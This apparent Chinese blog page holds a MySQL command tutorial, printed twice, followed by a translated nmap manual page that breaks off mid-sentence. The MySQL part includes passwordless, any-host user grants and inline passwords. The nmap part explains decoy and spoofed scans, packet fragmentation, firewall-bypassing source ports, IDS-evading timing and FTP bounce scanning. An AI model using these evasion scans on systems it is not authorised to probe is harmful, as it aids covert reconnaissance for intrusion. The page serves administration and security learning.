如,增加一个用户user1密码为password1,让其可以在本机上登录, 并对所有数据库有查询、插入、修改、删除的权限。首先用以
root用户连入mysql,然后键入以下命令:
grant select,insert,update,delete on *.* to user1@localhost Identified by “password1″;
如果希望该用户能够在任何机器上登陆mysql,则将localhost改为”%”。
如果你不想user1有密码,可以再打一个命令将密码去掉。
grant select,insert,update,delete on mydb.* to user1@localhost identified by “”;
第四招: 操作数据库
登录到mysql中,然后在mysql的提示符下运行下列命令,每个命令以分号结束。
1、 显示数据库列表。
show databases;
缺省有两个数据库:mysql和test。 mysql库存放着mysql的系统和用户权限信息,我们改密码和新增用户,实际上就是对这个库进行
操作。
2、 显示库中的数据表:
use mysql;
show tables;
3、 显示数据表的结构:
describe 表名;
4、 建库与删库:
create database 库名;
drop database 库名;
5、 建表:
use 库名;
create table 表名(字段列表);
drop table 表名;
6、 清空表中记录:
delete from 表名;
7、 显示表中的记录:
select * from 表名;
第五招、导出和导入数据
1. 导出数据:
mysqldump –opt test > mysql.test
即将数据库test数据库导出到mysql.test文件,后者是一个文本文件
如:mysqldump -u root -p123456 –databases dbname > mysql.dbname
就是把数据库dbname导出到文件mysql.dbname中。
2. 导入数据:
mysqlimport -u root -p123456 < mysql.dbname。
不用解释了吧。
3. 将文本数据导入数据库:
文本数据的字段数据之间用tab键隔开。
use test;
load data local infile “文件名” into table 表名;
1:使用SHOW语句找出在服务器上当前存在什么数据库:
mysql> SHOW DATABASES;
2:2、创建一个数据库MYSQLDATA
mysql> CREATE DATABASE MYSQLDATA;
3:选择你所创建的数据库
mysql> USE MYSQLDATA; (按回车键出现Database changed 时说明操作成功!)
4:查看现在的数据库中存在什么表
mysql> SHOW TABLES;
5:创建一个数据库表
mysql> CREATE TABLE MYTABLE (name VARCHAR(20), sex CHAR(1));
6:显示表的结构:
mysql> DESCRIBE MYTABLE;
7:往表中加入记录
mysql> insert into MYTABLE values (“hyq”,”M”);
8:用文本方式将数据装入数据库表中(例如D:/mysql.txt)
mysql> LOAD DATA LOCAL INFILE “D:/mysql.txt” INTO TABLE MYTABLE;
9:导入.sql文件命令(例如D:/mysql.sql)
mysql>use database;
mysql>source d:/mysql.sql;
10:删除表
mysql>drop TABLE MYTABLE;
11:清空表
mysql>delete from MYTABLE;
12:更新表中数据
mysql>update MYTABLE set sex=”f” where name=’hyq’;
posted on 2006-01-10 16:21 happytian 阅读(6) 评论(0) 编辑 收藏 收藏至365Key
13:备份数据库
mysqldump -u root 库名>xxx.data
14:例2:连接到远程主机上的MYSQL
假设远程主机的IP为:110.110.110.110,用户名为root,密码为abcd123。则键入以下命令:
mysql -h110.110.110.110 -uroot -pabcd123
(注:u与root可以不用加空格,其它也一样)
3、退出MYSQL命令: exit (回车)

mysql 基本命令 第一招、mysql服务的启动和停止
net stop mysql
net start mysql
第二招、登陆mysql
语法如下: mysql -u用户名 -p用户密码
键入命令mysql -uroot -p, 回车后提示你输入密码,输入12345,然后回车即可进入到mysql中了,mysql的提示符是:
mysql>
注意,如果是连接到另外的机器上,则需要加入一个参数-h机器IP
第三招、增加新用户
格式:grant 权限 on 数据库.* to 用户名@登录主机 identified by “密码”
如,增加一个用户user1密码为password1,让其可以在本机上登录, 并对所有数据库有查询、插入、修改、删除的权限。首先用以
root用户连入mysql,然后键入以下命令:
grant select,insert,update,delete on *.* to user1@localhost Identified by “password1″;
如果希望该用户能够在任何机器上登陆mysql,则将localhost改为”%”。
如果你不想user1有密码,可以再打一个命令将密码去掉。
grant select,insert,update,delete on mydb.* to user1@localhost identified by “”;
第四招: 操作数据库
登录到mysql中,然后在mysql的提示符下运行下列命令,每个命令以分号结束。
1、 显示数据库列表。
show databases;
缺省有两个数据库:mysql和test。 mysql库存放着mysql的系统和用户权限信息,我们改密码和新增用户,实际上就是对这个库进行
操作。
2、 显示库中的数据表:
use mysql;
show tables;
3、 显示数据表的结构:
describe 表名;
4、 建库与删库:
create database 库名;
drop database 库名;
5、 建表:
use 库名;
create table 表名(字段列表);
drop table 表名;
6、 清空表中记录:
delete from 表名;
7、 显示表中的记录:
select * from 表名;
第五招、导出和导入数据
1. 导出数据:
mysqldump –opt test > mysql.test
即将数据库test数据库导出到mysql.test文件,后者是一个文本文件
如:mysqldump -u root -p123456 –databases dbname > mysql.dbname
就是把数据库dbname导出到文件mysql.dbname中。
2. 导入数据:
mysqlimport -u root -p123456 < mysql.dbname。
不用解释了吧。
3. 将文本数据导入数据库:
文本数据的字段数据之间用tab键隔开。
use test;
load data local infile “文件名” into table 表名;
1:使用SHOW语句找出在服务器上当前存在什么数据库:
mysql> SHOW DATABASES;
2:2、创建一个数据库MYSQLDATA
mysql> CREATE DATABASE MYSQLDATA;
3:选择你所创建的数据库
mysql> USE MYSQLDATA; (按回车键出现Database changed 时说明操作成功!)
4:查看现在的数据库中存在什么表
mysql> SHOW TABLES;
5:创建一个数据库表
mysql> CREATE TABLE MYTABLE (name VARCHAR(20), sex CHAR(1));
6:显示表的结构:
mysql> DESCRIBE MYTABLE;
7:往表中加入记录
mysql> insert into MYTABLE values (“hyq”,”M”);
8:用文本方式将数据装入数据库表中(例如D:/mysql.txt)
mysql> LOAD DATA LOCAL INFILE “D:/mysql.txt” INTO TABLE MYTABLE;
9:导入.sql文件命令(例如D:/mysql.sql)
mysql>use database;
mysql>source d:/mysql.sql;
10:删除表
mysql>drop TABLE MYTABLE;
11:清空表
mysql>delete from MYTABLE;
12:更新表中数据
mysql>update MYTABLE set sex=”f” where name=’hyq’;
posted on 2006-01-10 16:21 happytian 阅读(6) 评论(0) 编辑 收藏 收藏至365Key
13:备份数据库
mysqldump -u root 库名>xxx.data
14:例2:连接到远程主机上的MYSQL
假设远程主机的IP为:110.110.110.110,用户名为root,密码为abcd123。则键入以下命令:
mysql -h110.110.110.110 -uroot -pabcd123
(注:u与root可以不用加空格,其它也一样)
3、退出MYSQL命令: exit (回车)

nmap 命令的使用

nmap是一个网络探测和安全扫描程序,系统管理者和个人可以使用这个软件扫描大型的网络,获取那台主机正在运行以及提供什么服务等信息。nmap支持很多扫描技术,例如:UDP、TCP connect()、TCP SYN(半开扫描)、ftp代理(bounce攻击)、反向标志、ICMP、FIN、ACK扫描、圣诞树(Xmas Tree)、SYN扫描和null扫描。从扫描类型一节可以得到细节。nmap还提供了一些高级的特征,例如:通过TCP/IP协议栈特征探测操作系统类型,秘密扫描,动态延时和重传计算,并行扫描,通过并行ping扫描探测关闭的主机,诱饵扫描,避开端口过滤检测,直接RPC扫描(无须端口影射),碎片扫描,以及灵活的目标和端口设定.
——————————————————————————–
1.名称
nmap-网络探测和安全扫描工具
2.语法
nmap [Scan Type(s)] [Options]
3.描述
nmap是一个网络探测和安全扫描程序,系统管理者和个人可以使用这个软件扫描大型的网络,获取那台主机正在运行以及提供什么服务等信息。nmap支持很多扫描技术,例如:UDP、TCP connect()、TCP SYN(半开扫描)、ftp代理(bounce攻击)、反向标志、ICMP、FIN、ACK扫描、圣诞树(Xmas Tree)、SYN扫描和null扫描。从扫描类型一节可以得到细节。nmap还提供了一些高级的特征,例如:通过TCP/IP协议栈特征探测操作系统类型,秘密扫描,动态延时和重传计算,并行扫描,通过并行ping扫描探测关闭的主机,诱饵扫描,避开端口过滤检测,直接RPC扫描(无须端口影射),碎片扫描,以及灵活的目标和端口设定。
为了提高nmap在non-root状态下的性能,软件的设计者付出了很大的努力。很不幸,一些内核界面(例如raw socket)需要在root状态下使用。所以应该尽可能在root使用nmap。
nmap运行通常会得到被扫描主机端口的列表。nmap总会给出well known端口的服务名(如果可能)、端口号、状态和协议等信息。每个端口的状态有:open、filtered、unfiltered。open状态意味着目标主机能够在这个端口使用accept()系统调用接受连接。filtered状态表示:防火墙、包过滤和其它的网络安全软件掩盖了这个端口,禁止 nmap探测其是否打开。unfiltered表示:这个端口关闭,并且没有防火墙/包过滤软件来隔离nmap的探测企图。通常情况下,端口的状态基本都是unfiltered状态,只有在大多数被扫描的端口处于filtered状态下,才会显示处于unfiltered状态的端口。
根据使用的功能选项,nmap也可以报告远程主机的下列特征:使用的操作系统、TCP序列、运行绑定到每个端口上的应用程序的用户名、DNS名、主机地址是否是欺骗地址、以及其它一些东西。
4.功能选项
功能选项可以组合使用。一些功能选项只能够在某种扫描模式下使用。nmap会自动识别无效或者不支持的功能选项组合,并向用户发出警告信息。
如果你是有经验的用户,可以略过结尾的示例一节。可以使用nmap -h快速列出功能选项的列表。
4.1 扫描类型
-sT
TCP connect()扫描:这是最基本的TCP扫描方式。connect()是一种系统调用,由操作系统提供,用来打开一个连接。如果目标端口有程序监听, connect()就会成功返回,否则这个端口是不可达的。这项技术最大的优点是,你勿需root权限。任何UNIX用户都可以自由使用这个系统调用。这种扫描很容易被检测到,在目标主机的日志中会记录大批的连接请求以及错误信息。
-sS
TCP同步扫描(TCP SYN):因为不必全部打开一个TCP连接,所以这项技术通常称为半开扫描(half-open)。你可以发出一个TCP同步包(SYN),然后等待回应。如果对方返回SYN|ACK(响应)包就表示目标端口正在监听;如果返回RST数据包,就表示目标端口没有监听程序;如果收到一个SYN|ACK包,源主机就会马上发出一个RST(复位)数据包断开和目标主机的连接,这实际上有我们的操作系统内核自动完成的。这项技术最大的好处是,很少有系统能够把这记入系统日志。不过,你需要root权限来定制SYN数据包。
-sF -sF -sN
秘密FIN数据包扫描、圣诞树(Xmas Tree)、空(Null)扫描模式:即使SYN扫描都无法确定的情况下使用。一些防火墙和包过滤软件能够对发送到被限制端口的SYN数据包进行监视,而且有些程序比如synlogger和courtney能够检测那些扫描。这些高级的扫描方式可以逃过这些干扰。这些扫描方式的理论依据是:关闭的端口需要对你的探测包回应RST包,而打开的端口必需忽略有问题的包(参考RFC 793第64页)。FIN扫描使用暴露的FIN数据包来探测,而圣诞树扫描打开数据包的FIN、URG和PUSH标志。不幸的是,微软决定完全忽略这个标准,另起炉灶。所以这种扫描方式对Windows95/NT无效。不过,从另外的角度讲,可以使用这种方式来分别两种不同的平台。如果使用这种扫描方式可以发现打开的端口,你就可以确定目标注意运行的不是Windows系统。如果使用-sF、-sX或者-sN扫描显示所有的端口都是关闭的,而使用SYN扫描显示有打开的端口,你可以确定目标主机可能运行的是Windwos系统。现在这种方式没有什么太大的用处,因为nmap有内嵌的操作系统检测功能。还有其它几个系统使用和windows同样的处理方式,包括Cisco、BSDI、HP/UX、MYS、IRIX。在应该抛弃数据包时,以上这些系统都会从打开的端口发出复位数据包。
-sP
ping扫描:有时你只是想知道此时网络上哪些主机正在运行。通过向你指定的网络内的每个IP地址发送ICMP echo请求数据包,nmap就可以完成这项任务。如果主机正在运行就会作出响应。不幸的是,一些站点例如:microsoft.com阻塞ICMP echo请求数据包。然而,在默认的情况下nmap也能够向80端口发送TCP ack包,如果你收到一个RST包,就表示主机正在运行。nmap使用的第三种技术是:发送一个SYN包,然后等待一个RST或者SYN/ACK包。对于非root用户,nmap使用connect()方法。
在默认的情况下(root用户),nmap并行使用ICMP和ACK技术。
注意,nmap在任何情况下都会进行ping扫描,只有目标主机处于运行状态,才会进行后续的扫描。如果你只是想知道目标主机是否运行,而不想进行其它扫描,才会用到这个选项。
-sU
UDP扫描:如果你想知道在某台主机上提供哪些UDP(用户数据报协议,RFC768)服务,可以使用这种扫描方法。nmap首先向目标主机的每个端口发出一个0字节的UDP包,如果我们收到端口不可达的ICMP消息,端口就是关闭的,否则我们就假设它是打开的。
有些人可能会想UDP扫描是没有什么意思的。但是,我经常会想到最近出现的solaris rpcbind缺陷。rpcbind隐藏在一个未公开的UDP端口上,这个端口号大于32770。所以即使端口111(portmap的众所周知端口号) 被防火墙阻塞有关系。但是你能发现大于30000的哪个端口上有程序正在监听吗?使用UDP扫描就能!cDc Back Orifice的后门程序就隐藏在Windows主机的一个可配置的UDP端口中。不考虑一些通常的安全缺陷,一些服务例如:snmp、tftp、NFS 使用UDP协议。不幸的是,UDP扫描有时非常缓慢,因为大多数主机限制ICMP错误信息的比例(在RFC1812中的建议)。例如,在Linux内核中 (在net/ipv4/icmp.h文件中)限制每4秒钟只能出现80条目标不可达的ICMP消息,如果超过这个比例,就会给1/4秒钟的处罚。 solaris的限制更加严格,每秒钟只允许出现大约2条ICMP不可达消息,这样,使扫描更加缓慢。nmap会检测这个限制的比例,减缓发送速度,而不是发送大量的将被目标主机丢弃的无用数据包。
不过Micro$oft忽略了RFC1812的这个建议,不对这个比例做任何的限制。所以我们可以能够快速扫描运行Win95/NT的主机上的所有65K个端口。
-sA
ACK扫描:这项高级的扫描方法通常用来穿过防火墙的规则集。通常情况下,这有助于确定一个防火墙是功能比较完善的或者是一个简单的包过滤程序,只是阻塞进入的SYN包。
这种扫描是向特定的端口发送ACK包(使用随机的应答/序列号)。如果返回一个RST包,这个端口就标记为unfiltered状态。如果什么都没有返回,或者返回一个不可达ICMP消息,这个端口就归入filtered类。注意,nmap通常不输出unfiltered的端口,所以在输出中通常不显示所有被探测的端口。显然,这种扫描方式不能找出处于打开状态的端口。
-sW
对滑动窗口的扫描:这项高级扫描技术非常类似于ACK扫描,除了它有时可以检测到处于打开状态的端口,因为滑动窗口的大小是不规则的,有些操作系统可以报告其大小。这些系统至少包括:某些版本的AIX、Amiga、BeOS、BSDI、Cray、Tru64 UNIX、DG/UX、OpenVMS、Digital UNIX、OpenBSD、OpenStep、QNX、Rhapsody、SunOS 4.x、Ultrix、VAX、VXWORKS。从nmap-hackers邮件3列表的文档中可以得到完整的列表。
-sR
RPC扫描。这种方法和nmap的其它不同的端口扫描方法结合使用。选择所有处于打开状态的端口向它们发出SunRPC程序的NULL命令,以确定它们是否是RPC端口,如果是,就确定是哪种软件及其版本号。因此你能够获得防火墙的一些信息。诱饵扫描现在还不能和RPC扫描结合使用。
-b
FTP反弹攻击(bounce attack):FTP协议(RFC 959)有一个很有意思的特征,它支持代理FTP连接。也就是说,我能够从evil.com连接到FTP服务器target.com,并且可以要求这台 FTP服务器为自己发送Internet上任何地方的文件!1985年,RFC959完成时,这个特征就能很好地工作了。然而,在今天的Internet 中,我们不能让人们劫持FTP服务器,让它向Internet上的任意节点发送数据。如同Hobbit在1995年写的文章中所说的,这个协议”能够用来做投递虚拟的不可达邮件和新闻,进入各种站点的服务器,填满硬盘,跳过防火墙,以及其它的骚扰活动,而且很难进行追踪”。我们可以使用这个特征,在一台代理FTP服务器扫描TCP端口。因此,你需要连接到防火墙后面的一台FTP服务器,接着进行端口扫描。如果在这台FTP服务器中有可读写的目录,你还可以向目标端口任意发送数据(不过nmap不能为你做这些)。
传递给-b功能选项的参数是你要作为代理的FTP服务器。语法格式为:
-b username:password@server:port。
除了server以外,其余都是可选的。如果你想知道什么服务器有这种缺陷,可以参考我在Phrack 51发表的文章。还可以在nmap的站点得到这篇文章的最新版本。
4.2 通用选项
这些内容不是必需的,但是很有用。
-P0
在扫描之前,不必ping主机。有些网络的防火墙不允许ICMP echo请求穿过,使用这个选项可以对这些网络进行扫描。microsoft.com就是一个例子,因此在扫描这个站点时,你应该一直使用-P0或者-PT 80选项。
-PT
扫描之前,使用TCP ping确定哪些主机正在运行。nmap不是通过发送ICMP echo请求包然后等待响应来实现这种功能,而是向目标网络(或者单一主机)发出TCP ACK包然后等待回应。如果主机正在运行就会返回RST包。只有在目标网络/主机阻塞了ping包,而仍旧允许你对其进行扫描时,这个选项才有效。对于非 root用户,我们使用connect()系统调用来实现这项功能。使用-PT 来设定目标端口。默认的端口号是80,因为这个端口通常不会被过滤。
-PS
对于root用户,这个选项让nmap使用SYN包而不是ACK包来对目标主机进行扫描。如果主机正在运行就返回一个RST包(或者一个SYN/ACK包)。
-PI
设置这个选项,让nmap使用真正的ping(ICMP echo请求)来扫描目标主机是否正在运行。使用这个选项让nmap发现正在运行的主机的同时,nmap也会对你的直接子网广播地址进行观察。直接子网广播地址一些外部可达的IP地址,把外部的包转换为一个内向的IP广播包,向一个计算机子网发送。这些IP广播包应该删除,因为会造成拒绝服务攻击(例如 smurf)。
-PB
这是默认的ping扫描选项。它使用ACK(-PT)和ICMP(-PI)两种扫描类型并行扫描。如果防火墙能够过滤其中一种包,使用这种方法,你就能够穿过防火墙。
-O
这个选项激活对TCP/IP指纹特征(fingerprinting)的扫描,获得远程主机的标志。换句话说,nmap使用一些技术检测目标主机操作系统网络协议栈的特征。nmap使用这些信息建立远程主机的指纹特征,把它和已知的操作系统指纹特征数据库做比较,就可以知道目标主机操作系统的类型。
-I
这个选项打开nmap的反向标志扫描功能。Dave Goldsmith 1996年向bugtap发出的邮件注意到这个协议,ident协议(rfc 1413)允许使用TCP连接给出任何进程拥有者的用户名,即使这个进程并没有初始化连接。例如,你可以连接到HTTP端口,接着使用identd确定这个服务器是否由root用户运行。这种扫描只能在同目标端口建立完全的TCP连接时(例如:-sT扫描选项)才能成功。使用-I选项是,远程主机的 identd精灵进程就会查询在每个打开的端口上监听的进程的拥有者。显然,如果远程主机没有运行identd程序,这种扫描方法无效。
-f
这个选项使nmap使用碎片IP数据包发送SYN、FIN、XMAS、NULL。使用碎片数据包增加包过滤、入侵检测系统的难度,使其无法知道你的企图。不过,要慎重使用这个选项!有些程序在处理这些碎片包时会有麻烦,我最喜欢的嗅探器在接受到碎片包的头36个字节时,就会发生 segmentation faulted。因此,在nmap中使用了24个字节的碎片数据包。虽然包过滤器和防火墙不能防这种方法,但是有很多网络出于性能上的考虑,禁止数据包的分片。
注意这个选项不能在所有的平台上使用。它在Linux、FreeBSD、OpenBSD以及其它一些UNIX系统能够很好工作。
-v
冗余模式。强烈推荐使用这个选项,它会给出扫描过程中的详细信息。使用这个选项,你可以得到事半功倍的效果。使用-d选项可以得到更加详细的信息。
-h
快速参考选项。
-oN
把扫描结果重定向到一个可读的文件logfilename中。
-oM
把扫描结果重定向到logfilename文件中,这个文件使用主机可以解析的语法。你可以使用-oM -来代替logfilename,这样输出就被重定向到标准输出stdout。在这种情况下,正常的输出将被覆盖,错误信息荏苒可以输出到标准错误 stderr。要注意,如果同时使用了-v选项,在屏幕上会打印出其它的信息。
-oS    thIs l0gz th3 r3suLtS of YouR ScanZ iN a s|   THe fiL3 U sPecfy 4s an arGuMEnT! U kAn gIv3 the 4rgument -
(wItHOUt qUOteZ) to sh00t output iNT0 stDouT!@!! 莫名其妙,下面是我猜着翻译的,相形字?
把扫描结果重定向到一个文件logfilename中,这个文件使用一种”黑客方言”的语法形式(作者开的玩笑?)。同样,使用-oS -就会把结果重定向到标准输出上。
-resume
某个网络扫描可能由于control-C或者网络损失等原因被中断,使用这个选项可以使扫描接着以前的扫描进行。logfilename是被取消扫描的日志文件,它必须是可读形式或者机器可以解析的形式。而且接着进行的扫描不能增加新的选项,只能使用与被中断的扫描相同的选项。nmap会接着日志文件中的最后一次成功扫描进行新的扫描。
-iL
从inputfilename文件中读取扫描的目标。在这个文件中要有一个主机或者网络的列表,由空格键、制表键或者回车键作为分割符。如果使用-iL -,nmap就会从标准输入stdin读取主机名字。你可以从指定目标一节得到更加详细的信息。
-iR
让nmap自己随机挑选主机进行扫描。
-p
这个选项让你选择要进行扫描的端口号的范围。例如,-p 23表示:只扫描目标主机的23号端口。-p 20-30,139,60000-表示:扫描20到30号端口,139号端口以及所有大于60000的端口。在默认情况下,nmap扫描从1到1024号以及nmap-services文件(如果使用RPM软件包,一般在/usr/share/nmap/目录中)中定义的端口列表。
-F
快速扫描模式,只扫描在nmap-services文件中列出的端口。显然比扫描所有65535个端口要快。
-D
使用诱饵扫描方法对目标网络/主机进行扫描。如果nmap使用这种方法对目标网络进行扫描,那么从目标主机/网络的角度来看,扫描就象从其它主机 (decoy1,等)发出的。从而,即使目标主机的IDS(入侵检测系统)对端口扫描发出报警,它们也不可能知道哪个是真正发起扫描的地址,哪个是无辜的。这种扫描方法可以有效地对付例如路由跟踪、response-dropping等积极的防御机制,能够很好地隐藏你的IP地址。
每个诱饵主机名使用逗号分割开,你也可以使用ME选项,它代表你自己的主机,和诱饵主机名混杂在一起。如果你把ME放在第六或者更靠后的位置,一些端口扫描检测软件几乎根本不会显示你的IP地址。如果你不使用ME选项,nmap会把你的IP地址随机夹杂在诱饵主机之中。
注意:你用来作为诱饵的主机应该正在运行或者你只是偶尔向目标发送SYN数据包。很显然,如果在网络上只有一台主机运行,目标将很轻松就会确定是哪台主机进行的扫描。或许,你还要直接使用诱饵的IP地址而不是其域名,这样诱饵网络的域名服务器的日志上就不会留下关于你的记录。
还要注意:一些愚蠢的端口扫描检测软件会拒绝路由试图进行端口扫描的主机。因而,你需要让目标主机和一些诱饵断开连接。如果诱饵是目标主机的网关或者就是其自己时,会给目标主机造成很大问题。所以你需要慎重使用这个选项。
诱饵扫描既可以在起始的ping扫描也可以在真正的扫描状态下使用。它也可以和-O选项组合使用。
使用太多的诱饵扫描能够减缓你的扫描速度甚至可能造成扫描结果不正确。同时,有些ISP会把你的欺骗包过滤掉。虽然现在大多数的ISP不会对此进行限制。
-S
在一些情况下,nmap可能无法确定你的源地址(nmap会告诉你)。在这种情况下,可以使用这个选项给出你的IP地址。
在欺骗扫描时,也使用这个选项。使用这个选项可以让目标认为是其它的主机对自己进行扫描。
-e
告诉nmap使用哪个接口发送和接受数据包。nmap能够自动对此接口进行检测,如果无效就会告诉你。
-g
设置扫描的源端口。一些天真的防火墙和包过滤器的规则集允许源端口为DNS(53)或者FTP-DATA(20)的包通过和实现连接。显然,如果攻击者把源端口修改为20或者53,就可以摧毁防火墙的防护。在使用UDP扫描时,先使用53号端口;使用TCP扫描时,先使用20号端口。注意只有在能够使用这个端口进行扫描时,nmap才会使用这个端口。例如,如果你无法进行TCP扫描,nmap会自动改变源端口,即使你使用了-g选项。
对于一些扫描,使用这个选项会造成性能上的微小损失,因为我有时会保存关于特定源端口的一些有用的信息。
-r
告诉nmap不要打乱被扫描端口的顺序。
–randomize_hosts
使nmap在扫描之前,打乱每组扫描中的主机顺序,nmap每组可以扫描最多2048台主机。这样,可以使扫描更不容易被网络监视器发现,尤其和–scan_delay 选项组合使用,更能有效避免被发现。
-M
设置进行TCP connect()扫描时,最多使用多少个套接字进行并行的扫描。使用这个选项可以降低扫描速度,避免远程目标宕机。
4.3 适时选项
通常,nmap在运行时,能够很好地根据网络特点进行调整。扫描时,nmap会尽量减少被目标检测到的机会,同时尽可能加快扫描速度。然而,nmap默认的适时策略有时候不太适合你的目标。使用下面这些选项,可以控制nmap的扫描timing:
-T
设置nmap的适时策略。Paranoid:为了避开IDS的检测使扫描速度极慢,nmap串行所有的扫描,每隔至少5分钟发送一个包; Sneaky:也差不多,只是数据包的发送间隔是15秒;Polite:不增加太大的网络负载,避免宕掉目标主机,串行每个探测,并且使每个探测有0.4 秒种的间隔;Normal:nmap默认的选项,在不是网络过载或者主机/端口丢失的情况下尽可能快速地扫描;Aggressive:设置5分钟的超时限制,使对每台主机的扫描时间不超过5分钟,并且使对每次探测回应的等待时间不超过1.5秒钟;b>Insane:只适合快速的网络或者你不在意丢失某些信息,每台主机的超时限制是75秒,对每次探测只等待0.3秒钟。你也可是使用数字来代替这些模式,例如:-T 0等于-T Paranoid,-T 5等于-T Insane。
这些适时模式不能下面的适时选项组合使用。
–host_timeout
设置扫描一台主机的时间,以毫秒为单位。默认的情况下,没有超时限制。
–max_rtt_timeout
设置对每次探测的等待时间,以毫秒为单位。如果超过这个时间限制就重传或者超时。默认值是大约9000毫秒。
–min_rtt_timeout
当目标主机的响应很快时,nmap就缩短每次探测的超时时间。这样会提高扫描的速度,但是可能丢失某些响应时间比较长的包。使用这个选项,可以让nmap对每次探测至少等待你指定的时间,以毫秒为单位。
–initial_rtt_timeout
设置初始探测的超时值。一般这个选项只在使用-P0选项扫描有防火墙保护的主机才有用。默认值是6000毫秒。
–max_parallelism
设置最大的并行扫描数量。–max_parallelism 1表示同时只扫描一个端口。这个选项对其它的并行扫描也有效,例如ping sweep, RPC scan。
–scan_delay
设置在两次探测之间,nmap必须等待的时间。这个选项主要用于降低网络的负载。
4.4 目标设定
在nmap的所有参数中,只有目标参数是必须给出的。其最简单的形式是在命令行直接输入一个主机名或者一个IP地址。如果你希望扫描某个IP地址的一个子网,你可以在主机名或者IP地址的后面加上/掩码。掩码在0(扫描整个网络)到32(只扫描这个主机)。使用/24扫描C类地址,/16扫描B类地址。
除此之外,nmap还有更加强大的表示方式让你更加灵活地指定IP地址。例如,如果要扫描这个B类网络128.210.*.*,你可以使用下面三种方式来指定这些地址:128.210.*.*、128.21-.0-255.0-255或者128.210.0.0/16这三种形式是等价的。
5.例子
本节将由浅入深地举例说明如何使用nmap。
nmap -v target.example.com
扫描主机target.example.com的所有TCP端口。-v打开冗余模式。
nmap -sS -O target.example.com/24
发起对target.example.com所在网络上的所有255个IP地址的秘密SYN扫描。同时还探测每台主机操作系统的指纹特征。需要root权限。
nmap -sX -p 22,53,110,143,4564 128.210.*.1-127
对B类IP地址128.210中255个可能的8位子网的前半部分发起圣诞树扫描。确定这些系统是否打开了sshd、DNS、pop3d、imapd和4564端口。注意圣诞树扫描对Micro$oft的系统无效,因为其协议栈的TCP层有缺陷。
nmap -v –randomize_hosts -p 80 *.*.2.3-5
只扫描指定的IP范围,有时用于对这个Internet进行取样分析。nmap将寻找Internet上所有后两个字节是.2.3、.2.4、.2.5的 IP地址上的WEB服务器。如果你想发现更多有意思的主机,你可以使用127-222,因为在这个范围内有意思的主机密度更大。
host -l company.com | cut -d -f 4 | ./nmap -v -iL -
列出company.com网络的所有主机,让nmap进行扫描。注意:这项命令在GNU/Linux下使用。如果在其它平台,你可能要使用 其它的命令/选项。

nmapnmap是一个网络探测和安全扫描程序,系统管理者和个人可以使用这个软件扫描大型的网络,获取那台主机正在运行以及提供什么服务等信息。nmap支持很多扫描技术,例如:UDP、TCP connect()、TCP SYN(半开扫描)、ftp代理(bounce攻击)、反向标志、ICMP、FIN、ACK扫描、圣诞树(Xmas Tree)、SYN扫描和null扫描。从扫描类型一节可以得到细节。nmap还提供了一些高级的特征,例如:通过TCP/IP协议栈特征探测操作系统类型,秘密扫描,动态延时和重传计算,并行扫描,通过并行ping扫描探测关闭的主机,诱饵扫描,避开端口过滤检测,直接RPC扫描(无须端口影射),碎片扫描,以及灵活的目标和端口设定. ——————————————————————————–1.名称nmap-网络探测和安全扫描工具2.语法nmap [Scan Type(s)] [Options]3.描述 nmap是一个网络探测和安全扫描程序,系统管理者和个人可以使用这个软件扫描大型的网络,获取那台主机正在运行以及提供什么服务等信息。nmap支持很多扫描技术,例如:UDP、TCP connect()、TCP SYN(半开扫描)、ftp代理(bounce攻击)、反向标志、ICMP、FIN、ACK扫描、圣诞树(Xmas Tree)、SYN扫描和null扫描。从扫描类型一节可以得到细节。nmap还提供了一些高级的特征,例如:通过TCP/IP协议栈特征探测操作系统类型,秘密扫描,动态延时和重传计算,并行扫描,通过并行ping扫描探测关闭的主机,诱饵扫描,避开端口过滤检测,直接RPC扫描(无须端口影射),碎片扫描,以及灵活的目标和端口设定。 为了提高nmap在non-root状态下的性能,软件的设计者付出了很大的努力。很不幸,一些内核界面(例如raw socket)需要在root状态下使用。所以应该尽可能在root使用nmap。 nmap运行通常会得到被扫描主机端口的列表。nmap总会给出well known端口的服务名(如果可能)、端口号、状态和协议等信息。每个端口的状态有:open、filtered、unfiltered。open状态意味着目标主机能够在这个端口使用accept()系统调用接受连接。filtered状态表示:防火墙、包过滤和其它的网络安全软件掩盖了这个端口,禁止 nmap探测其是否打开。unfiltered表示:这个端口关闭,并且没有防火墙/包过滤软件来隔离nmap的探测企图。通常情况下,端口的状态基本都是unfiltered状态,只有在大多数被扫描的端口处于filtered状态下,才会显示处于unfiltered状态的端口。 根据使用的功能选项,nmap也可以报告远程主机的下列特征:使用的操作系统、TCP序列、运行绑定到每个端口上的应用程序的用户名、DNS名、主机地址是否是欺骗地址、以及其它一些东西。4.功能选项 功能选项可以组合使用。一些功能选项只能够在某种扫描模式下使用。nmap会自动识别无效或者不支持的功能选项组合,并向用户发出警告信息。 如果你是有经验的用户,可以略过结尾的示例一节。可以使用nmap -h快速列出功能选项的列表。4.1 扫描类型 -sT TCP connect()扫描:这是最基本的TCP扫描方式。connect()是一种系统调用,由操作系统提供,用来打开一个连接。如果目标端口有程序监听, connect()就会成功返回,否则这个端口是不可达的。这项技术最大的优点是,你勿需root权限。任何UNIX用户都可以自由使用这个系统调用。这种扫描很容易被检测到,在目标主机的日志中会记录大批的连接请求以及错误信息。 -sS TCP同步扫描(TCP SYN):因为不必全部打开一个TCP连接,所以这项技术通常称为半开扫描(half-open)。你可以发出一个TCP同步包(SYN),然后等待回应。如果对方返回SYN|ACK(响应)包就表示目标端口正在监听;如果返回RST数据包,就表示目标端口没有监听程序;如果收到一个SYN|ACK包,源主机就会马上发出一个RST(复位)数据包断开和目标主机的连接,这实际上有我们的操作系统内核自动完成的。这项技术最大的好处是,很少有系统能够把这记入系统日志。不过,你需要root权限来定制SYN数据包。 -sF -sF -sN 秘密FIN数据包扫描、圣诞树(Xmas Tree)、空(Null)扫描模式:即使SYN扫描都无法确定的情况下使用。一些防火墙和包过滤软件能够对发送到被限制端口的SYN数据包进行监视,而且有些程序比如synlogger和courtney能够检测那些扫描。这些高级的扫描方式可以逃过这些干扰。这些扫描方式的理论依据是:关闭的端口需要对你的探测包回应RST包,而打开的端口必需忽略有问题的包(参考RFC 